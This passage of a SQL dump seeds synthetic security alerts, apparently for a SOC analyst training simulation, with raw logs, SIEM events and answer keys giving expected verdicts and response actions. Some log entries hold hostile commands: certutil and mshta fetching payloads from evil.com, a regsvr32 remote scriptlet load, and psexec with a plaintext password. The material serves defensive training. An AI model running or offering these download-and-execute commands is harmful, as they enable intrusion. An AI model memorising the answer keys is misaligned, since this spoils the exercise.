activity\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"suspicious_activity\",\"analysis_notes\":\"Encoded PowerShell commands are often used by administrators for scripting, no malicious intent found.\"}', 'Advanced', 'TI', 7, 1, 'ENERGY', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:16.157Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T14:30:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.10.10\\\",\\\"hostname\\\":\\\"ADMIN-PC-01\\\",\\\"command_line\\\":\\\"powershell.exe -enc W1BMAG8AZwBdACAALQBtAGUAcwBzAGEAZwBlACAAIgBDAGgAZQBjAGsAaQBuAGcAIABsAG8AZwBzAC4ALgAuAC4AIgA=\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:16.157Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T14:30:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.10.10\\\",\\\"hostname\\\":\\\"ADMIN-PC-01\\\",\\\"command_line\\\":\\\"powershell.exe -enc W1BMAG8AZwBdACAALQBtAGUAcwBzAGEAZwBlACAAIgBDAGgAZQBjAGsAaQBuAGcAIABsAG8AZwBzAC4ALgAuAC4AIgA=\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:16.157Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T14:30:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.10.10\\\",\\\"hostname\\\":\\\"ADMIN-PC-01\\\",\\\"command_line\\\":\\\"powershell.exe -enc W1BMAG8AZwBdACAALQBtAGUAcwBzAGEAZwBlACAAIgBDAGgAZQBjAGsAaQBuAGcAIABsAG8AZwBzAC4ALgAuAC4AIgA=\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:16.157Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T14:30:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.10.10\\\",\\\"hostname\\\":\\\"ADMIN-PC-01\\\",\\\"command_line\\\":\\\"powershell.exe -enc W1BMAG8AZwBdACAALQBtAGUAcwBzAGEAZwBlACAAIgBDAGgAZQBjAGsAaQBuAGcAIABsAG8AZwBzAC4ALgAuAC4AIgA=\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:16.157Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T14:30:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.10.10\\\",\\\"hostname\\\":\\\"ADMIN-PC-01\\\",\\\"command_line\\\":\\\"powershell.exe -enc W1BMAG8AZwBdACAALQBtAGUAcwBzAGEAZwBlACAAIgBDAGgAZQBjAGsAaQBuAGcAIABsAG8AZwBzAC4ALgAuAC4AIgA=\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0);
INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(1748, 'Regsvr32 Execution Detected, Suspicious but Benign', 'low', 'MISP', 'Regsvr32 used to load a DLL from an internal source, typical of software updates or internal maintenance.', 'Suspicious Activity', 'T1218', 0, 'New', NULL, '{\"timestamp\":\"2026-03-15T16:00:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.50.25\",\"hostname\":\"MAINTENANCE-PC-01\",\"command_line\":\"regsvr32 /s /n /u /i:http://internal-server.com/update.dll scrobj.dll\"}', '2026-03-15 19:52:44', '2026-03-15 20:58:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.50.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Monitoring\",\"verdict\":\"internal\",\"details\":\"Internal IP address executing regsvr32\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"regsvr32 /s /n /u /i:http://internal-server.com/update.dll scrobj.dll\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Regsvr32 command used for legitimate software update\"}},{\"id\":\"artifact_3\",\"type\":\"url\",\"value\":\"http://internal-server.com/update.dll\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Monitoring\",\"verdict\":\"clean\",\"details\":\"Internal URL used for software updates\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"suspicious_activity\",\"analysis_notes\":\"Regsvr32 detected from internal source, consistent with legitimate software update processes.\"}', 'Advanced', 'TI', 7, 1, 'RETAIL', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:16.159Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T16:00:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.50.25\\\",\\\"hostname\\\":\\\"MAINTENANCE-PC-01\\\",\\\"command_line\\\":\\\"regsvr32 /s /n /u /i:http://internal-server.com/update.dll scrobj.dll\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:16.159Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T16:00:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.50.25\\\",\\\"hostname\\\":\\\"MAINTENANCE-PC-01\\\",\\\"command_line\\\":\\\"regsvr32 /s /n /u /i:http://internal-server.com/update.dll scrobj.dll\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:16.159Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T16:00:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.50.25\\\",\\\"hostname\\\":\\\"MAINTENANCE-PC-01\\\",\\\"command_line\\\":\\\"regsvr32 /s /n /u /i:http://internal-server.com/update.dll scrobj.dll\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:16.159Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T16:00:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.50.25\\\",\\\"hostname\\\":\\\"MAINTENANCE-PC-01\\\",\\\"command_line\\\":\\\"regsvr32 /s /n /u /i:http://internal-server.com/update.dll scrobj.dll\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:16.159Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T16:00:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.50.25\\\",\\\"hostname\\\":\\\"MAINTENANCE-PC-01\\\",\\\"command_line\\\":\\\"regsvr32 /s /n /u /i:http://internal-server.com/update.dll scrobj.dll\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1749, 'APT41 Exploitation Using CertUtil for C2 Communication', 'critical', 'MISP', 'Detected APT41 activity leveraging CertUtil to download a payload from a remote server. The command was executed on an internal host.', 'Malware', 'T1105', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T08:25:30Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.10.15\",\"dst_ip\":\"203.0.113.99\",\"username\":\"jdoe\",\"hostname\":\"corp-pc-01\",\"command_line\":\"certutil.exe -urlcache -split -f http://evil.com/payload.exe C:\\\\Temp\\\\payload.exe\"}', '2026-03-15 19:53:09', '2026-03-15 20:58:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.99\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 123 times for hosting malware\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"certutil.exe -urlcache -split -f http://evil.com/payload.exe C:\\\\Temp\\\\payload.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"CertUtil abuse detected for downloading malicious payloads\"}}],\"expected_actions\":[\"isolate_host\",\"block_ip\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"APT41 known for exploiting CertUtil to download and execute malicious payloads on targeted hosts.\"}', 'Advanced', 'TI', 7, 1, 'TECH', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:16.161Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T08:25:30Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.10.15\\\",\\\"dst_ip\\\":\\\"203.0.113.99\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"corp-pc-01\\\",\\\"command_line\\\":\\\"certutil.exe -urlcache -split -f http://evil.com/payload.exe C:\\\\\\\\Temp\\\\\\\\payload.exe\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:16.161Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T08:25:30Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.10.15\\\",\\\"dst_ip\\\":\\\"203.0.113.99\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"corp-pc-01\\\",\\\"command_line\\\":\\\"certutil.exe -urlcache -split -f http://evil.com/payload.exe C:\\\\\\\\Temp\\\\\\\\payload.exe\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:16.161Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T08:25:30Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.10.15\\\",\\\"dst_ip\\\":\\\"203.0.113.99\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"corp-pc-01\\\",\\\"command_line\\\":\\\"certutil.exe -urlcache -split -f http://evil.com/payload.exe C:\\\\\\\\Temp\\\\\\\\payload.exe\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:16.161Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T08:25:30Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.10.15\\\",\\\"dst_ip\\\":\\\"203.0.113.99\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"corp-pc-01\\\",\\\"command_line\\\":\\\"certutil.exe -urlcache -split -f http://evil.com/payload.exe C:\\\\\\\\Temp\\\\\\\\payload.exe\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:16.161Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T08:25:30Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.10.15\\\",\\\"dst_ip\\\":\\\"203.0.113.99\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"corp-pc-01\\\",\\\"command_line\\\":\\\"certutil.exe -urlcache -split -f http://evil.com/payload.exe C:\\\\\\\\Temp\\\\\\\\payload.exe\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1750, 'Lazarus Group Lateral Movement via PSExec', 'high', 'ThreatConnect', 'Suspected Lazarus Group activity detected using PSExec for lateral movement within the network targeting multiple hosts.', 'Lateral Movement', 'T1569', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T09:14:22Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.10\",\"dst_ip\":\"192.168.1.20\",\"username\":\"admin\",\"hostname\":\"server-01\",\"command_line\":\"psexec.exe \\\\\\\\192.168.1.20 -u admin -p password cmd.exe\"}', '2026-03-15 19:53:09', '2026-03-15 20:58:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP involved in lateral movement attempt\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"psexec.exe \\\\\\\\192.168.1.20 -u admin -p password cmd.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"PSExec usage consistent with lateral movement techniques\"}}],\"expected_actions\":[\"isolate_host\",\"reset_credentials\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"PSExec used for unauthorized command execution across the network, indicating lateral movement.\"}', 'Advanced', 'TI', 7, 1, 'FINANCE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:16.176Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T09:14:22Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.10\\\",\\\"dst_ip\\\":\\\"192.168.1.20\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"server-01\\\",\\\"command_line\\\":\\\"psexec.exe \\\\\\\\\\\\\\\\192.168.1.20 -u admin -p password cmd.exe\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:16.176Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T09:14:22Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.10\\\",\\\"dst_ip\\\":\\\"192.168.1.20\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"server-01\\\",\\\"command_line\\\":\\\"psexec.exe \\\\\\\\\\\\\\\\192.168.1.20 -u admin -p password cmd.exe\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:16.176Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T09:14:22Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.10\\\",\\\"dst_ip\\\":\\\"192.168.1.20\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"server-01\\\",\\\"command_line\\\":\\\"psexec.exe \\\\\\\\\\\\\\\\192.168.1.20 -u admin -p password cmd.exe\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:16.176Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T09:14:22Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.10\\\",\\\"dst_ip\\\":\\\"192.168.1.20\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"server-01\\\",\\\"command_line\\\":\\\"psexec.exe \\\\\\\\\\\\\\\\192.168.1.20 -u admin -p password cmd.exe\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:16.176Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T09:14:22Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.10\\\",\\\"dst_ip\\\":\\\"192.168.1.20\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"server-01\\\",\\\"command_line\\\":\\\"psexec.exe \\\\\\\\\\\\\\\\192.168.1.20 -u admin -p password cmd.exe\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1751, 'Cozy Bear Spear-Phishing Attempt with Malicious Link', 'high', 'Anomali', 'A spear-phishing email sent by Cozy Bear containing a malicious link was detected. The email was targeted towards a high-profile user.', 'Phishing', 'T1566', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T10:45:10Z\",\"event_type\":\"email_received\",\"src_ip\":\"198.51.100.23\",\"dst_ip\":\"192.168.5.25\",\"username\":\"ceo@company.com\",\"hostname\":\"ceo-pc\",\"email_sender\":\"alerts@secure-mail.com\",\"request_body\":\"Click here to view your secure message: http://malicious-link.com\"}', '2026-03-15 19:53:09', '2026-03-15 20:58:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"url\",\"value\":\"http://malicious-link.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"URL hosts phishing page replicating a secure login prompt\"}},{\"id\":\"artifact_2\",\"type\":\"email\",\"value\":\"alerts@secure-mail.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Email address associated with multiple phishing campaigns\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"The email contains a malicious link disguised as a secure message, typical of Cozy Bear phishing tactics.\"}', 'Advanced', 'TI', 7, 1, 'GOVERNMENT', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:16.178Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T10:45:10Z\\\",\\\"event_type\\\":\\\"email_received\\\",\\\"src_ip\\\":\\\"198.51.100.23\\\",\\\"dst_ip\\\":\\\"192.168.5.25\\\",\\\"username\\\":\\\"ceo@company.com\\\",\\\"hostname\\\":\\\"ceo-pc\\\",\\\"email_sender\\\":\\\"alerts@secure-mail.com\\\",\\\"request_body\\\":\\\"Click here to view your secure message: http://malicious-link.com\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:16.178Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T10:45:10Z\\\",\\\"event_type\\\":\\\"email_received\\\",\\\"src_ip\\\":\\\"198.51.100.23\\\",\\\"dst_ip\\\":\\\"192.168.5.25\\\",\\\"username\\\":\\\"ceo@company.com\\\",\\\"hostname\\\":\\\"ceo-pc\\\",\\\"email_sender\\\":\\\"alerts@secure-mail.com\\\",\\\"request_body\\\":\\\"Click here to view your secure message: http://malicious-link.com\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:16.178Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T10:45:10Z\\\",\\\"event_type\\\":\\\"email_received\\\",\\\"src_ip\\\":\\\"198.51.100.23\\\",\\\"dst_ip\\\":\\\"192.168.5.25\\\",\\\"username\\\":\\\"ceo@company.com\\\",\\\"hostname\\\":\\\"ceo-pc\\\",\\\"email_sender\\\":\\\"alerts@secure-mail.com\\\",\\\"request_body\\\":\\\"Click here to view your secure message: http://malicious-link.com\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:16.178Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T10:45:10Z\\\",\\\"event_type\\\":\\\"email_received\\\",\\\"src_ip\\\":\\\"198.51.100.23\\\",\\\"dst_ip\\\":\\\"192.168.5.25\\\",\\\"username\\\":\\\"ceo@company.com\\\",\\\"hostname\\\":\\\"ceo-pc\\\",\\\"email_sender\\\":\\\"alerts@secure-mail.com\\\",\\\"request_body\\\":\\\"Click here to view your secure message: http://malicious-link.com\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:16.178Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T10:45:10Z\\\",\\\"event_type\\\":\\\"email_received\\\",\\\"src_ip\\\":\\\"198.51.100.23\\\",\\\"dst_ip\\\":\\\"192.168.5.25\\\",\\\"username\\\":\\\"ceo@company.com\\\",\\\"hostname\\\":\\\"ceo-pc\\\",\\\"email_sender\\\":\\\"alerts@secure-mail.com\\\",\\\"request_body\\\":\\\"Click here to view your secure message: http://malicious-link.com\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1752, 'Fancy Bear Data Exfiltration via GitHub', 'critical', 'Recorded Future', 'Anomalous data transfer to a GitHub repository suspected to be used by Fancy Bear for exfiltrating sensitive data.', 'Data Exfil', 'T1041', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T11:30:45Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.200.5\",\"dst_ip\":\"140.82.112.3\",\"username\":\"analytics\",\"hostname\":\"data-node-07\",\"request_body\":\"POST /repos/fancybear/exfil.git\"}', '2026-03-15 19:53:09', '2026-03-15 20:58:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"140.82.112.3\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"GitHub IP associated with suspicious repositories\"}},{\"id\":\"artifact_2\",\"type\":\"payload\",\"value\":\"POST /repos/fancybear/exfil.git\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"suspicious\",\"details\":\"Suspicious POST request to GitHub repository\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"The data transfer to a GitHub repository aligns with known Fancy Bear data exfiltration methods.\"}', 'Advanced', 'TI', 7, 1, 'RETAIL', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:16.181Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T11:30:45Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.200.5\\\",\\\"dst_ip\\\":\\\"140.82.112.3\\\",\\\"username\\\":\\\"analytics\\\",\\\"hostname\\\":\\\"data-node-07\\\",\\\"request_body\\\":\\\"POST /repos/fancybear/exfil.git\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:16.181Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T11:30:45Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.200.5\\\",\\\"dst_ip\\\":\\\"140.82.112.3\\\",\\\"username\\\":\\\"analytics\\\",\\\"hostname\\\":\\\"data-node-07\\\",\\\"request_body\\\":\\\"POST /repos/fancybear/exfil.git\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:16.181Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T11:30:45Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.200.5\\\",\\\"dst_ip\\\":\\\"140.82.112.3\\\",\\\"username\\\":\\\"analytics\\\",\\\"hostname\\\":\\\"data-node-07\\\",\\\"request_body\\\":\\\"POST /repos/fancybear/exfil.git\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:16.181Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T11:30:45Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.200.5\\\",\\\"dst_ip\\\":\\\"140.82.112.3\\\",\\\"username\\\":\\\"analytics\\\",\\\"hostname\\\":\\\"data-node-07\\\",\\\"request_body\\\":\\\"POST /repos/fancybear/exfil.git\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:16.181Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T11:30:45Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.200.5\\\",\\\"dst_ip\\\":\\\"140.82.112.3\\\",\\\"username\\\":\\\"analytics\\\",\\\"hostname\\\":\\\"data-node-07\\\",\\\"request_body\\\":\\\"POST /repos/fancybear/exfil.git\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1753, 'APT41 Zero-Day Exploitation via MSHTA', 'critical', 'MISP', 'APT41 was observed using a zero-day vulnerability with MSHTA to execute malicious scripts remotely.', 'Malware', 'T1218', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T12:15:30Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.30.15\",\"dst_ip\":\"203.0.113.100\",\"username\":\"mark\",\"hostname\":\"workstation-10\",\"command_line\":\"mshta.exe http://evil.com/malicious.hta\"}', '2026-03-15 19:53:09', '2026-03-15 20:58:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.100\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP linked to distribution of malicious HTA scripts\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"mshta.exe http://evil.com/malicious.hta\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"MSHTA used to execute remote malicious scripts\"}}],\"expected_actions\":[\"isolate_host\",\"block_ip\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"APT41 known for leveraging MSHTA in zero-day attacks for remote code execution.\"}', 'Advanced', 'TI', 7, 1, 